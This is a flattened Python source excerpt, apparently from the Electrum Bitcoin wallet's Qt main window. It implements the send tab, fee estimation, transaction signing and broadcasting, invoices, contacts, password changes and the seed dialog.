from .paytoedit import PayToEdit
self.amount_e = BTCAmountEdit(self.get_decimal_point)
self.payto_e = PayToEdit(self)
msg = _('Recipient of the funds.') + '\n\n'\
+ _('You may enter a Bitcoin address, a label from your list of contacts (a list of completions will be proposed), or an alias (email-like address that forwards to a Bitcoin address)')
payto_label = HelpLabel(_('Pay to'), msg)
grid.addWidget(payto_label, 1, 0)
grid.addWidget(self.payto_e, 1, 1, 1, -1)
completer = QCompleter()
completer.setCaseSensitivity(False)
self.payto_e.setCompleter(completer)
completer.setModel(self.completions)
msg = _('Description of the transaction (not mandatory).') + '\n\n'\
+ _('The description is not sent to the recipient of the funds. It is stored in your wallet file, and displayed in the \'History\' tab.')
description_label = HelpLabel(_('Description'), msg)
grid.addWidget(description_label, 2, 0)
self.message_e = MyLineEdit()
grid.addWidget(self.message_e, 2, 1, 1, -1)
self.from_label = QLabel(_('From'))
grid.addWidget(self.from_label, 3, 0)
self.from_list = MyTreeWidget(self, self.from_list_menu, ['',''])
self.from_list.setHeaderHidden(True)
self.from_list.setMaximumHeight(80)
grid.addWidget(self.from_list, 3, 1, 1, -1)
self.set_pay_from([])
msg = _('Amount to be sent.') + '\n\n' \
+ _('The amount will be displayed in red if you do not have enough funds in your wallet.') + ' ' \
+ _('Note that if you have frozen some of your addresses, the available funds will be lower than your total balance.') + '\n\n' \
+ _('Keyboard shortcut: type "!" to send all your coins.')
amount_label = HelpLabel(_('Amount'), msg)
grid.addWidget(amount_label, 4, 0)
grid.addWidget(self.amount_e, 4, 1)
self.fiat_send_e = AmountEdit(self.fx.get_currency if self.fx else '')
if not self.fx or not self.fx.is_enabled():
self.fiat_send_e.setVisible(False)
grid.addWidget(self.fiat_send_e, 4, 2)
self.amount_e.frozen.connect(
lambda: self.fiat_send_e.setFrozen(self.amount_e.isReadOnly()))
self.max_button = EnterButton(_("Max"), self.spend_max)
self.max_button.setFixedWidth(140)
grid.addWidget(self.max_button, 4, 3)
hbox = QHBoxLayout()
hbox.addStretch(1)
grid.addLayout(hbox, 4, 4)
msg = _('Bitcoin transactions are in general not free. A transaction fee is paid by the sender of the funds.') + '\n\n'\
+ _('The amount of fee can be decided freely by the sender. However, transactions with low fees take more time to be processed.') + '\n\n'\
+ _('A suggested fee is automatically added to this field. You may override it. The suggested fee increases with the size of the transaction.')
self.fee_e_label = HelpLabel(_('Fee'), msg)
def fee_cb(dyn, pos, fee_rate):
if dyn:
if self.config.use_mempool_fees():
self.config.set_key('depth_level', pos, False)
else:
self.config.set_key('fee_level', pos, False)
else:
self.config.set_key('fee_per_kb', fee_rate, False)
if fee_rate:
self.feerate_e.setAmount(fee_rate // 1000)
else:
self.feerate_e.setAmount(None)
self.fee_e.setModified(False)
self.fee_slider.activate()
self.spend_max() if self.is_max else self.update_fee()
self.fee_slider = FeeSlider(self, self.config, fee_cb)
self.fee_slider.setFixedWidth(140)
def on_fee_or_feerate(edit_changed, editing_finished):
edit_other = self.feerate_e if edit_changed == self.fee_e else self.fee_e
if editing_finished:
if not edit_changed.get_amount():
# This is so that when the user blanks the fee and moves on,
# we go back to auto-calculate mode and put a fee back.
edit_changed.setModified(False)
else:
# edit_changed was edited just now, so make sure we will
# freeze the correct fee setting (this)
edit_other.setModified(False)
self.fee_slider.deactivate()
self.update_fee()
class TxSizeLabel(QLabel):
def setAmount(self, byte_size):
self.setText(('x %s bytes =' % byte_size) if byte_size else '')
self.size_e = TxSizeLabel()
self.size_e.setAlignment(Qt.AlignCenter)
self.size_e.setAmount(0)
self.size_e.setFixedWidth(140)
self.size_e.setStyleSheet(ColorScheme.DEFAULT.as_stylesheet())
self.feerate_e = FeerateEdit(lambda: 0)
self.feerate_e.setAmount(self.config.fee_per_byte())
self.feerate_e.textEdited.connect(partial(on_fee_or_feerate, self.feerate_e, False))
self.feerate_e.editingFinished.connect(partial(on_fee_or_feerate, self.feerate_e, True))
self.fee_e = BTCAmountEdit(self.get_decimal_point)
self.fee_e.textEdited.connect(partial(on_fee_or_feerate, self.fee_e, False))
self.fee_e.editingFinished.connect(partial(on_fee_or_feerate, self.fee_e, True))
def feerounding_onclick():
text = (self.feerounding_text + '\n\n' +
_('To somewhat protect your privacy, Electrum tries to create change with similar precision to other outputs.') + ' ' +
_('At most 100 satoshis might be lost due to this rounding.') + ' ' +
_("You can disable this setting in '{}'.").format(_('Preferences')) + '\n' +
_('Also, dust is not kept as change, but added to the fee.'))
QMessageBox.information(self, 'Fee rounding', text)
self.feerounding_icon = QPushButton(QIcon(':icons/info.png'), '')
self.feerounding_icon.setFixedWidth(20)
self.feerounding_icon.setFlat(True)
self.feerounding_icon.clicked.connect(feerounding_onclick)
self.feerounding_icon.setVisible(False)
self.connect_fields(self, self.amount_e, self.fiat_send_e, self.fee_e)
vbox_feelabel = QVBoxLayout()
vbox_feelabel.addWidget(self.fee_e_label)
vbox_feelabel.addStretch(1)
grid.addLayout(vbox_feelabel, 5, 0)
self.fee_adv_controls = QWidget()
hbox = QHBoxLayout(self.fee_adv_controls)
hbox.setContentsMargins(0, 0, 0, 0)
hbox.addWidget(self.feerate_e)
hbox.addWidget(self.size_e)
hbox.addWidget(self.fee_e)
hbox.addWidget(self.feerounding_icon, Qt.AlignLeft)
hbox.addStretch(1)
vbox_feecontrol = QVBoxLayout()
vbox_feecontrol.addWidget(self.fee_adv_controls)
vbox_feecontrol.addWidget(self.fee_slider)
grid.addLayout(vbox_feecontrol, 5, 1, 1, -1)
if not self.config.get('show_fee', False):
self.fee_adv_controls.setVisible(False)
self.preview_button = EnterButton(_("Preview"), self.do_preview)
self.preview_button.setToolTip(_('Display the details of your transaction before signing it.'))
self.send_button = EnterButton(_("Send"), self.do_send)
self.clear_button = EnterButton(_("Clear"), self.do_clear)
buttons = QHBoxLayout()
buttons.addStretch(1)
buttons.addWidget(self.clear_button)
buttons.addWidget(self.preview_button)
buttons.addWidget(self.send_button)
grid.addLayout(buttons, 6, 1, 1, 3)
self.amount_e.shortcut.connect(self.spend_max)
self.payto_e.textChanged.connect(self.update_fee)
self.amount_e.textEdited.connect(self.update_fee)
def reset_max(t):
self.is_max = False
self.max_button.setEnabled(not bool(t))
self.amount_e.textEdited.connect(reset_max)
self.fiat_send_e.textEdited.connect(reset_max)
def entry_changed():
text = ""
amt_color = ColorScheme.DEFAULT
fee_color = ColorScheme.DEFAULT
feerate_color = ColorScheme.DEFAULT
if self.not_enough_funds:
amt_color, fee_color = ColorScheme.RED, ColorScheme.RED
feerate_color = ColorScheme.RED
text = _( "Not enough funds" )
c, u, x = self.wallet.get_frozen_balance()
if c+u+x:
text += ' (' + self.format_amount(c+u+x).strip() + ' ' + self.base_unit() + ' ' +_("are frozen") + ')'
# blue color denotes auto-filled values
elif self.fee_e.isModified():
feerate_color = ColorScheme.BLUE
elif self.feerate_e.isModified():
fee_color = ColorScheme.BLUE
elif self.amount_e.isModified():
fee_color = ColorScheme.BLUE
feerate_color = ColorScheme.BLUE
else:
amt_color = ColorScheme.BLUE
fee_color = ColorScheme.BLUE
feerate_color = ColorScheme.BLUE
self.statusBar().showMessage(text)
self.amount_e.setStyleSheet(amt_color.as_stylesheet())
self.fee_e.setStyleSheet(fee_color.as_stylesheet())
self.feerate_e.setStyleSheet(feerate_color.as_stylesheet())
self.amount_e.textChanged.connect(entry_changed)
self.fee_e.textChanged.connect(entry_changed)
self.feerate_e.textChanged.connect(entry_changed)
self.invoices_label = QLabel(_('Invoices'))
from .invoice_list import InvoiceList
self.invoice_list = InvoiceList(self)
vbox0 = QVBoxLayout()
vbox0.addLayout(grid)
hbox = QHBoxLayout()
hbox.addLayout(vbox0)
w = QWidget()
vbox = QVBoxLayout(w)
vbox.addLayout(hbox)
vbox.addStretch(1)
vbox.addWidget(self.invoices_label)
vbox.addWidget(self.invoice_list)
vbox.setStretchFactor(self.invoice_list, 1000)
w.searchable_list = self.invoice_list
run_hook('create_send_tab', grid)
return w
def spend_max(self):
self.is_max = True
self.do_update_fee()
def update_fee(self):
self.require_fee_update = True
def get_payto_or_dummy(self):
r = self.payto_e.get_recipient()
if r:
return r
return (TYPE_ADDRESS, self.wallet.dummy_address())
def do_update_fee(self):
'''Recalculate the fee. If the fee was manually input, retain it, but
still build the TX to see if there are enough funds.
'''
freeze_fee = self.is_send_fee_frozen()
freeze_feerate = self.is_send_feerate_frozen()
amount = '!' if self.is_max else self.amount_e.get_amount()
if amount is None:
if not freeze_fee:
self.fee_e.setAmount(None)
self.not_enough_funds = False
self.statusBar().showMessage('')
else:
fee_estimator = self.get_send_fee_estimator()
outputs = self.payto_e.get_outputs(self.is_max)
if not outputs:
_type, addr = self.get_payto_or_dummy()
outputs = [(_type, addr, amount)]
is_sweep = bool(self.tx_external_keypairs)
make_tx = lambda fee_est: \
self.wallet.make_unsigned_transaction(
self.get_coins(), outputs, self.config,
fixed_fee=fee_est, is_sweep=is_sweep)
try:
tx = make_tx(fee_estimator)
self.not_enough_funds = False
except (NotEnoughFunds, NoDynamicFeeEstimates) as e:
if not freeze_fee:
self.fee_e.setAmount(None)
if not freeze_feerate:
self.feerate_e.setAmount(None)
self.feerounding_icon.setVisible(False)
if isinstance(e, NotEnoughFunds):
self.not_enough_funds = True
elif isinstance(e, NoDynamicFeeEstimates):
try:
tx = make_tx(0)
size = tx.estimated_size()
self.size_e.setAmount(size)
except BaseException:
pass
return
except BaseException:
traceback.print_exc(file=sys.stderr)
return
size = tx.estimated_size()
self.size_e.setAmount(size)
fee = tx.get_fee()
fee = None if self.not_enough_funds else fee
# Displayed fee/fee_rate values are set according to user input.
# Due to rounding or dropping dust in CoinChooser,
# actual fees often differ somewhat.
if freeze_feerate or self.fee_slider.is_active():
displayed_feerate = self.feerate_e.get_amount()
if displayed_feerate:
displayed_feerate = displayed_feerate // 1000
else:
# fallback to actual fee
displayed_feerate = fee // size if fee is not None else None
self.feerate_e.setAmount(displayed_feerate)
displayed_fee = displayed_feerate * size if displayed_feerate is not None else None
self.fee_e.setAmount(displayed_fee)
else:
if freeze_fee:
displayed_fee = self.fee_e.get_amount()
else:
# fallback to actual fee if nothing is frozen
displayed_fee = fee
self.fee_e.setAmount(displayed_fee)
displayed_fee = displayed_fee if displayed_fee else 0
displayed_feerate = displayed_fee // size if displayed_fee is not None else None
self.feerate_e.setAmount(displayed_feerate)
# show/hide fee rounding icon
feerounding = (fee - displayed_fee) if fee else 0
self.set_feerounding_text(feerounding)
self.feerounding_icon.setToolTip(self.feerounding_text)
self.feerounding_icon.setVisible(bool(feerounding))
if self.is_max:
amount = tx.output_value()
self.amount_e.setAmount(amount)
def from_list_delete(self, item):
i = self.from_list.indexOfTopLevelItem(item)
self.pay_from.pop(i)
self.redraw_from_list()
self.update_fee()
def from_list_menu(self, position):
item = self.from_list.itemAt(position)
menu = QMenu()
menu.addAction(_("Remove"), lambda: self.from_list_delete(item))
menu.exec_(self.from_list.viewport().mapToGlobal(position))
def set_pay_from(self, coins):
self.pay_from = list(coins)
self.redraw_from_list()
def redraw_from_list(self):
self.from_list.clear()
self.from_label.setHidden(len(self.pay_from) == 0)
self.from_list.setHidden(len(self.pay_from) == 0)
def format(x):
h = x.get('prevout_hash')
return h[0:10] + '...' + h[-10:] + ":%d"%x.get('prevout_n') + u'\t' + "%s"%x.get('address')
for item in self.pay_from:
self.from_list.addTopLevelItem(QTreeWidgetItem( [format(item), self.format_amount(item['value']) ]))
def get_contact_payto(self, key):
_type, label = self.contacts.get(key)
return label + ' <' + key + '>' if _type == 'address' else key
def update_completions(self):
l = [self.get_contact_payto(key) for key in self.contacts.keys()]
self.completions.setStringList(l)
def protected(func):
'''Password request wrapper. The password is passed to the function
as the 'password' named argument. "None" indicates either an
unencrypted wallet, or the user cancelled the password request.
An empty input is passed as the empty string.'''
def request_password(self, *args, **kwargs):
parent = self.top_level_window()
password = None
while self.wallet.has_keystore_encryption():
password = self.password_dialog(parent=parent)
if password is None:
# User cancelled password input
return
try:
self.wallet.check_password(password)
break
except Exception as e:
self.show_error(str(e), parent=parent)
continue
kwargs['password'] = password
return func(self, *args, **kwargs)
return request_password
def is_send_fee_frozen(self):
return self.fee_e.isVisible() and self.fee_e.isModified() \
and (self.fee_e.text() or self.fee_e.hasFocus())
def is_send_feerate_frozen(self):
return self.feerate_e.isVisible() and self.feerate_e.isModified() \
and (self.feerate_e.text() or self.feerate_e.hasFocus())
def get_send_fee_estimator(self):
if self.is_send_fee_frozen():
fee_estimator = self.fee_e.get_amount()
elif self.is_send_feerate_frozen():
amount = self.feerate_e.get_amount()
amount = 0 if amount is None else amount
fee_estimator = partial(
simple_config.SimpleConfig.estimate_fee_for_feerate, amount)
else:
fee_estimator = None
return fee_estimator
def read_send_tab(self):
if self.payment_request and self.payment_request.has_expired():
self.show_error(_('Payment request has expired'))
return
label = self.message_e.text()
if self.payment_request:
outputs = self.payment_request.get_outputs()
else:
errors = self.payto_e.get_errors()
if errors:
self.show_warning(_("Invalid Lines found:") + "\n\n" + '\n'.join([ _("Line #") + str(x[0]+1) + ": " + x[1] for x in errors]))
return
outputs = self.payto_e.get_outputs(self.is_max)
if self.payto_e.is_alias and self.payto_e.validated is False:
alias = self.payto_e.toPlainText()
msg = _('WARNING: the alias "{}" could not be validated via an additional '
'security check, DNSSEC, and thus may not be correct.').format(alias) + '\n'
msg += _('Do you wish to continue?')
if not self.question(msg):
return
if not outputs:
self.show_error(_('No outputs'))
return
for _type, addr, amount in outputs:
if addr is None:
self.show_error(_('Bitcoin Address is None'))
return
if _type == TYPE_ADDRESS and not bitcoin.is_address(addr):
self.show_error(_('Invalid Bitcoin Address'))
return
if amount is None:
self.show_error(_('Invalid Amount'))
return
fee_estimator = self.get_send_fee_estimator()
coins = self.get_coins()
return outputs, fee_estimator, label, coins
def do_preview(self):
self.do_send(preview = True)
def do_send(self, preview = False):
if run_hook('abort_send', self):
return
r = self.read_send_tab()
if not r:
return
outputs, fee_estimator, tx_desc, coins = r
try:
is_sweep = bool(self.tx_external_keypairs)
tx = self.wallet.make_unsigned_transaction(
coins, outputs, self.config, fixed_fee=fee_estimator,
is_sweep=is_sweep)
except NotEnoughFunds:
self.show_message(_("Insufficient funds"))
return
except BaseException as e:
traceback.print_exc(file=sys.stdout)
self.show_message(str(e))
return
amount = tx.output_value() if self.is_max else sum(map(lambda x:x[2], outputs))
fee = tx.get_fee()
use_rbf = self.config.get('use_rbf', True)
if use_rbf:
tx.set_rbf(True)
if fee < self.wallet.relayfee() * tx.estimated_size() / 1000:
self.show_error('\n'.join([
_("This transaction requires a higher fee, or it will not be propagated by your current server"),
_("Try to raise your transaction fee, or use a server with a lower relay fee.")
]))
return
if preview:
self.show_transaction(tx, tx_desc)
return
if not self.network:
self.show_error(_("You can't broadcast a transaction without a live network connection."))
return
# confirmation dialog
msg = [
_("Amount to be sent") + ": " + self.format_amount_and_units(amount),
_("Mining fee") + ": " + self.format_amount_and_units(fee),
]
x_fee = run_hook('get_tx_extra_fee', self.wallet, tx)
if x_fee:
x_fee_address, x_fee_amount = x_fee
msg.append( _("Additional fees") + ": " + self.format_amount_and_units(x_fee_amount) )
confirm_rate = simple_config.FEERATE_WARNING_HIGH_FEE
if fee > confirm_rate * tx.estimated_size() / 1000:
msg.append(_('Warning') + ': ' + _("The fee for this transaction seems unusually high."))
if self.wallet.has_keystore_encryption():
msg.append("")
msg.append(_("Enter your password to proceed"))
password = self.password_dialog('\n'.join(msg))
if not password:
return
else:
msg.append(_('Proceed?'))
password = None
if not self.question('\n'.join(msg)):
return
def sign_done(success):
if success:
if not tx.is_complete():
self.show_transaction(tx)
self.do_clear()
else:
self.broadcast_transaction(tx, tx_desc)
self.sign_tx_with_password(tx, sign_done, password)
@protected
def sign_tx(self, tx, callback, password):
self.sign_tx_with_password(tx, callback, password)
def sign_tx_with_password(self, tx, callback, password):
'''Sign the transaction in a separate thread. When done, calls
the callback with a success code of True or False.
'''
def on_signed(result):
callback(True)
def on_failed(exc_info):
self.on_error(exc_info)
callback(False)
if self.tx_external_keypairs:
# can sign directly
task = partial(Transaction.sign, tx, self.tx_external_keypairs)
else:
# call hook to see if plugin needs gui interaction
run_hook('sign_tx', self, tx)
task = partial(self.wallet.sign_transaction, tx, password)
WaitingDialog(self, _('Signing transaction...'), task,
on_signed, on_failed)
def broadcast_transaction(self, tx, tx_desc):
def broadcast_thread():
# non-GUI thread
pr = self.payment_request
if pr and pr.has_expired():
self.payment_request = None
return False, _("Payment request has expired")
status, msg = self.network.broadcast(tx)
if pr and status is True:
self.invoices.set_paid(pr, tx.txid())
self.invoices.save()
self.payment_request = None
refund_address = self.wallet.get_receiving_addresses()[0]
ack_status, ack_msg = pr.send_ack(str(tx), refund_address)
if ack_status:
msg = ack_msg
return status, msg
# Capture current TL window; override might be removed on return
parent = self.top_level_window()
def broadcast_done(result):
# GUI thread
if result:
status, msg = result
if status:
if tx_desc is not None and tx.is_complete():
self.wallet.set_label(tx.txid(), tx_desc)
parent.show_message(_('Payment sent.') + '\n' + msg)
self.invoice_list.update()
self.do_clear()
else:
parent.show_error(msg)
WaitingDialog(self, _('Broadcasting transaction...'),
broadcast_thread, broadcast_done, self.on_error)
def query_choice(self, msg, choices):
# Needed by QtHandler for hardware wallets
dialog = WindowModalDialog(self.top_level_window())
clayout = ChoicesLayout(msg, choices)
vbox = QVBoxLayout(dialog)
vbox.addLayout(clayout.layout())
vbox.addLayout(Buttons(OkButton(dialog)))
if not dialog.exec_():
return None
return clayout.selected_index()
def lock_amount(self, b):
self.amount_e.setFrozen(b)
self.max_button.setEnabled(not b)
def prepare_for_payment_request(self):
self.show_send_tab()
self.payto_e.is_pr = True
for e in [self.payto_e, self.amount_e, self.message_e]:
e.setFrozen(True)
self.payto_e.setText(_("please wait..."))
return True
def delete_invoice(self, key):
self.invoices.remove(key)
self.invoice_list.update()
def payment_request_ok(self):
pr = self.payment_request
key = self.invoices.add(pr)
status = self.invoices.get_status(key)
self.invoice_list.update()
if status == PR_PAID:
self.show_message("invoice already paid")
self.do_clear()
self.payment_request = None
return
self.payto_e.is_pr = True
if not pr.has_expired():
self.payto_e.setGreen()
else:
self.payto_e.setExpired()
self.payto_e.setText(pr.get_requestor())
self.amount_e.setText(format_satoshis_plain(pr.get_amount(), self.decimal_point))
self.message_e.setText(pr.get_memo())
# signal to set fee
self.amount_e.textEdited.emit("")
def payment_request_error(self):
self.show_message(self.payment_request.error)
self.payment_request = None
self.do_clear()
def on_pr(self, request):
self.payment_request = request
if self.payment_request.verify(self.contacts):
self.payment_request_ok_signal.emit()
else:
self.payment_request_error_signal.emit()
def pay_to_URI(self, URI):
if not URI:
return
try:
out = util.parse_URI(URI, self.on_pr)
except BaseException as e:
self.show_error(_('Invalid bitcoin URI:') + '\n' + str(e))
return
self.show_send_tab()
r = out.get('r')
sig = out.get('sig')
name = out.get('name')
if r or (name and sig):
self.prepare_for_payment_request()
return
address = out.get('address')
amount = out.get('amount')
label = out.get('label')
message = out.get('message')
# use label as description (not BIP21 compliant)
if label and not message:
message = label
if address:
self.payto_e.setText(address)
if message:
self.message_e.setText(message)
if amount:
self.amount_e.setAmount(amount)
self.amount_e.textEdited.emit("")
def do_clear(self):
self.is_max = False
self.not_enough_funds = False
self.payment_request = None
self.payto_e.is_pr = False
for e in [self.payto_e, self.message_e, self.amount_e, self.fiat_send_e,
self.fee_e, self.feerate_e]:
e.setText('')
e.setFrozen(False)
self.fee_slider.activate()
self.feerate_e.setAmount(self.config.fee_per_byte())
self.size_e.setAmount(0)
self.feerounding_icon.setVisible(False)
self.set_pay_from([])
self.tx_external_keypairs = {}
self.update_status()
run_hook('do_clear', self)
def set_frozen_state(self, addrs, freeze):
self.wallet.set_frozen_state(addrs, freeze)
self.address_list.update()
self.utxo_list.update()
self.update_fee()
def create_list_tab(self, l, toolbar=None):
w = QWidget()
w.searchable_list = l
vbox = QVBoxLayout()
w.setLayout(vbox)
vbox.setContentsMargins(0, 0, 0, 0)
vbox.setSpacing(0)
if toolbar:
vbox.addLayout(toolbar)
vbox.addWidget(l)
return w
def create_addresses_tab(self):
from .address_list import AddressList
self.address_list = l = AddressList(self)
toolbar = l.create_toolbar(self.config)
toolbar_shown = self.config.get('show_toolbar_addresses', False)
l.show_toolbar(toolbar_shown)
return self.create_list_tab(l, toolbar)
def create_utxo_tab(self):
from .utxo_list import UTXOList
self.utxo_list = l = UTXOList(self)
return self.create_list_tab(l)
def create_contacts_tab(self):
from .contact_list import ContactList
self.contact_list = l = ContactList(self)
return self.create_list_tab(l)
def remove_address(self, addr):
if self.question(_("Do you want to remove")+" %s "%addr +_("from your wallet?")):
self.wallet.delete_address(addr)
self.address_list.update()
self.history_list.update()
self.clear_receive_tab()
def get_coins(self):
if self.pay_from:
return self.pay_from
else:
return self.wallet.get_spendable_coins(None, self.config)
def spend_coins(self, coins):
self.set_pay_from(coins)
self.show_send_tab()
self.update_fee()
def paytomany(self):
self.show_send_tab()
self.payto_e.paytomany()
msg = '\n'.join([
_('Enter a list of outputs in the \'Pay to\' field.'),
_('One output per line.'),
_('Format: address, amount'),
_('You may load a CSV file using the file icon.')
])
self.show_message(msg, title=_('Pay to many'))
def payto_contacts(self, labels):
paytos = [self.get_contact_payto(label) for label in labels]
self.show_send_tab()
if len(paytos) == 1:
self.payto_e.setText(paytos[0])
self.amount_e.setFocus()
else:
text = "\n".join([payto + ", 0" for payto in paytos])
self.payto_e.setText(text)
self.payto_e.setFocus()
def set_contact(self, label, address):
if not is_address(address):
self.show_error(_('Invalid Address'))
self.contact_list.update() # Displays original unchanged value
return False
self.contacts[address] = ('address', label)
self.contact_list.update()
self.history_list.update()
self.update_completions()
return True
def delete_contacts(self, labels):
if not self.question(_("Remove {} from your list of contacts?")
.format(" + ".join(labels))):
return
for label in labels:
self.contacts.pop(label)
self.history_list.update()
self.contact_list.update()
self.update_completions()
def show_invoice(self, key):
pr = self.invoices.get(key)
pr.verify(self.contacts)
self.show_pr_details(pr)
def show_pr_details(self, pr):
key = pr.get_id()
d = WindowModalDialog(self, _("Invoice"))
vbox = QVBoxLayout(d)
grid = QGridLayout()
grid.addWidget(QLabel(_("Requestor") + ':'), 0, 0)
grid.addWidget(QLabel(pr.get_requestor()), 0, 1)
grid.addWidget(QLabel(_("Amount") + ':'), 1, 0)
outputs_str = '\n'.join(map(lambda x: self.format_amount(x[2])+ self.base_unit() + ' @ ' + x[1], pr.get_outputs()))
grid.addWidget(QLabel(outputs_str), 1, 1)
expires = pr.get_expiration_date()
grid.addWidget(QLabel(_("Memo") + ':'), 2, 0)
grid.addWidget(QLabel(pr.get_memo()), 2, 1)
grid.addWidget(QLabel(_("Signature") + ':'), 3, 0)
grid.addWidget(QLabel(pr.get_verify_status()), 3, 1)
if expires:
grid.addWidget(QLabel(_("Expires") + ':'), 4, 0)
grid.addWidget(QLabel(format_time(expires)), 4, 1)
vbox.addLayout(grid)
def do_export():
fn = self.getSaveFileName(_("Save invoice to file"), "*.bip70")
if not fn:
return
with open(fn, 'wb') as f:
data = f.write(pr.raw)
self.show_message(_('Invoice saved as' + ' ' + fn))
exportButton = EnterButton(_('Save'), do_export)
def do_delete():
if self.question(_('Delete invoice?')):
self.invoices.remove(key)
self.history_list.update()
self.invoice_list.update()
d.close()
deleteButton = EnterButton(_('Delete'), do_delete)
vbox.addLayout(Buttons(exportButton, deleteButton, CloseButton(d)))
d.exec_()
def do_pay_invoice(self, key):
pr = self.invoices.get(key)
self.payment_request = pr
self.prepare_for_payment_request()
pr.error = None # this forces verify() to re-run
if pr.verify(self.contacts):
self.payment_request_ok()
else:
self.payment_request_error()
def create_console_tab(self):
from .console import Console
self.console = console = Console()
return console
def update_console(self):
console = self.console
console.history = self.config.get("console-history",[])
console.history_index = len(console.history)
console.updateNamespace({'wallet' : self.wallet,
'network' : self.network,
'plugins' : self.gui_object.plugins,
'window': self})
console.updateNamespace({'util' : util, 'bitcoin':bitcoin})
c = commands.Commands(self.config, self.wallet, self.network, lambda: self.console.set_json(True))
methods = {}
def mkfunc(f, method):
return lambda *args: f(method, args, self.password_dialog)
for m in dir(c):
if m[0]=='_' or m in ['network','wallet']: continue
methods[m] = mkfunc(c._run, m)
console.updateNamespace(methods)
def create_status_bar(self):
sb = QStatusBar()
sb.setFixedHeight(35)
qtVersion = qVersion()
self.balance_label = QLabel("")
self.balance_label.setTextInteractionFlags(Qt.TextSelectableByMouse)
self.balance_label.setStyleSheet("""QLabel { padding: 0 }""")
sb.addWidget(self.balance_label)
self.search_box = QLineEdit()
self.search_box.textChanged.connect(self.do_search)
self.search_box.hide()
sb.addPermanentWidget(self.search_box)
self.lock_icon = QIcon()
self.password_button = StatusBarButton(self.lock_icon, _("Password"), self.change_password_dialog )
sb.addPermanentWidget(self.password_button)
sb.addPermanentWidget(StatusBarButton(QIcon(":icons/preferences.png"), _("Preferences"), self.settings_dialog ) )
self.seed_button = StatusBarButton(QIcon(":icons/seed.png"), _("Seed"), self.show_seed_dialog )
sb.addPermanentWidget(self.seed_button)
self.status_button = StatusBarButton(QIcon(":icons/status_disconnected.png"), _("Network"), lambda: self.gui_object.show_network_dialog(self))
sb.addPermanentWidget(self.status_button)
run_hook('create_status_bar', sb)
self.setStatusBar(sb)
def update_lock_icon(self):
icon = QIcon(":icons/lock.png") if self.wallet.has_password() else QIcon(":icons/unlock.png")
self.password_button.setIcon(icon)
def update_buttons_on_seed(self):
self.seed_button.setVisible(self.wallet.has_seed())
self.password_button.setVisible(self.wallet.may_have_password())
self.send_button.setVisible(not self.wallet.is_watching_only())
def change_password_dialog(self):
from electrum.storage import STO_EV_XPUB_PW
if self.wallet.get_available_storage_encryption_version() == STO_EV_XPUB_PW:
from .password_dialog import ChangePasswordDialogForHW
d = ChangePasswordDialogForHW(self, self.wallet)
ok, encrypt_file = d.run()
if not ok:
return
try:
hw_dev_pw = self.wallet.keystore.get_password_for_storage_encryption()
except UserCancelled:
return
except BaseException as e:
traceback.print_exc(file=sys.stderr)
self.show_error(str(e))
return
old_password = hw_dev_pw if self.wallet.has_password() else None
new_password = hw_dev_pw if encrypt_file else None
else:
from .password_dialog import ChangePasswordDialogForSW
d = ChangePasswordDialogForSW(self, self.wallet)
ok, old_password, new_password, encrypt_file = d.run()
if not ok:
return
try:
self.wallet.update_password(old_password, new_password, encrypt_file)
except BaseException as e:
self.show_error(str(e))
return
except:
traceback.print_exc(file=sys.stdout)
self.show_error(_('Failed to update password'))
return
msg = _('Password was updated successfully') if self.wallet.has_password() else _('Password is disabled, this wallet is not protected')
self.show_message(msg, title=_("Success"))
self.update_lock_icon()
def toggle_search(self):
tab = self.tabs.currentWidget()
#if hasattr(tab, 'searchable_list'):
# tab.searchable_list.toggle_toolbar()
#return
self.search_box.setHidden(not self.search_box.isHidden())
if not self.search_box.isHidden():
self.search_box.setFocus(1)
else:
self.do_search('')
def do_search(self, t):
tab = self.tabs.currentWidget()
if hasattr(tab, 'searchable_list'):
tab.searchable_list.filter(t)
def new_contact_dialog(self):
d = WindowModalDialog(self, _("New Contact"))
vbox = QVBoxLayout(d)
vbox.addWidget(QLabel(_('New Contact') + ':'))
grid = QGridLayout()
line1 = QLineEdit()
line1.setFixedWidth(280)
line2 = QLineEdit()
line2.setFixedWidth(280)
grid.addWidget(QLabel(_("Address")), 1, 0)
grid.addWidget(line1, 1, 1)
grid.addWidget(QLabel(_("Name")), 2, 0)
grid.addWidget(line2, 2, 1)
vbox.addLayout(grid)
vbox.addLayout(Buttons(CancelButton(d), OkButton(d)))
if d.exec_():
self.set_contact(line2.text(), line1.text())
def show_master_public_keys(self):
dialog = WindowModalDialog(self, _("Wallet Information"))
dialog.setMinimumSize(500, 100)
mpk_list = self.wallet.get_master_public_keys()
vbox = QVBoxLayout()
wallet_type = self.wallet.storage.get('wallet_type', '')
grid = QGridLayout()
basename = os.path.basename(self.wallet.storage.path)
grid.addWidget(QLabel(_("Wallet name")+ ':'), 0, 0)
grid.addWidget(QLabel(basename), 0, 1)
grid.addWidget(QLabel(_("Wallet type")+ ':'), 1, 0)
grid.addWidget(QLabel(wallet_type), 1, 1)
grid.addWidget(QLabel(_("Script type")+ ':'), 2, 0)
grid.addWidget(QLabel(self.wallet.txin_type), 2, 1)
vbox.addLayout(grid)
if self.wallet.is_deterministic():
mpk_text = ShowQRTextEdit()
mpk_text.setMaximumHeight(150)
mpk_text.addCopyButton(self.app)
def show_mpk(index):
mpk_text.setText(mpk_list[index])
# only show the combobox in case multiple accounts are available
if len(mpk_list) > 1:
def label(key):
if isinstance(self.wallet, Multisig_Wallet):
return _("cosigner") + ' ' + str(key+1)
return ''
labels = [label(i) for i in range(len(mpk_list))]
on_click = lambda clayout: show_mpk(clayout.selected_index())
labels_clayout = ChoicesLayout(_("Master Public Keys"), labels, on_click)
vbox.addLayout(labels_clayout.layout())
else:
vbox.addWidget(QLabel(_("Master Public Key")))
show_mpk(0)
vbox.addWidget(mpk_text)
vbox.addStretch(1)
vbox.addLayout(Buttons(CloseButton(dialog)))
dialog.setLayout(vbox)
dialog.exec_()
def remove_wallet(self):
if self.question('\n'.join([
_('Delete wallet file?'),
"%s"%self.wallet.storage.path,
_('If your wallet contains funds, make sure you have saved its seed.')])):
self._delete_wallet()
@protected
def _delete_wallet(self, password):
wallet_path = self.wallet.storage.path
basename = os.path.basename(wallet_path)
self.gui_object.daemon.stop_wallet(wallet_path)
self.close()
os.unlink(wallet_path)
self.show_error("Wallet removed:" + basename)
@protected
def show_seed_dialog(self, password):
if not self.wallet.has_seed():
self.show_message(_('This wallet has no seed'))
return
keystore = self.wallet.get_keystore()
try:
seed = keystore.get_seed(password)
passphrase = keystore.get_passphrase(password)
except BaseException as e:
self.show_error(str(e))
return
from .seed_dialog import SeedDialog
d = SeedDialog(self, seed, passphrase)
d.exec_()
